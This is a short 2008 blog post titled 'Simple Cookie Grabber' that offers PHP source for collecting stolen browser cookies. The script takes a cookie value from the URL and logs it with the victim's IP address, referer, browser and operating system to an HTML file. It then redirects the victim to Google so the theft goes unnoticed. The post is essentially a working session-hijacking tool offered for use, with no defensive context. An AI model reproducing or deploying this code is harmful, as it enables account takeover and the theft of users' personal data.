Thursday, February 21, 2008

Simple Cookie Grabber

Simple Cookie Grabber
Simple Cookie Grabber

As the title says....

Language = PHP

CODE:

$cookie = $_GET['cookie'];
$referer = $_SERVER['HTTP_REFERER'];
$ip = $_SERVER['REMOTE_ADDR'];
$data = date("d/m/y");
$ora = date("G:i:s");
$os = getos($_SERVER['HTTP_USER_AGENT']);
$browser = getbrowser($_SERVER['HTTP_USER_AGENT']);
function getbrowser($usr_ag)
{
if (stristr($usr_ag,"IE"))
$brw = "Internet Explorer";
else if (stristr($usr_ag,"Firefox"))
$brw = "Mozzilla Firefox";
else if (stristr($usr_ag,"Opera"))
$brw = "Opera";
else
$brw = "Sconosciuto";
return $brw;
}
function getos($usr_ag)
{
if (stristr($usr_ag,"Windows"))
$os = "Windows XP or Vista";
else if (stristr($usr_ag,"Linux"))
$os = "Linux";
else if (stristr($usr_ag,"MAC"))
$os = "Mac";
else
$os = "Sconosciuto";
return $os;
}
$file = fopen("cookies.html", "a");
fwrite($file, 'Cookie: [ '.$cookie.' ]
Referer: [ '.$referer.' ]
Browser: [ '.$browser.' ]
Sistema Operativo: [ '.$os.' ]
IP: [ '.$ip.' ]
Data: [ '.$data.' ]
Ora: [ '.$ora.' ]
');
fclose($file);
header("Location: http://www.google.com");
?>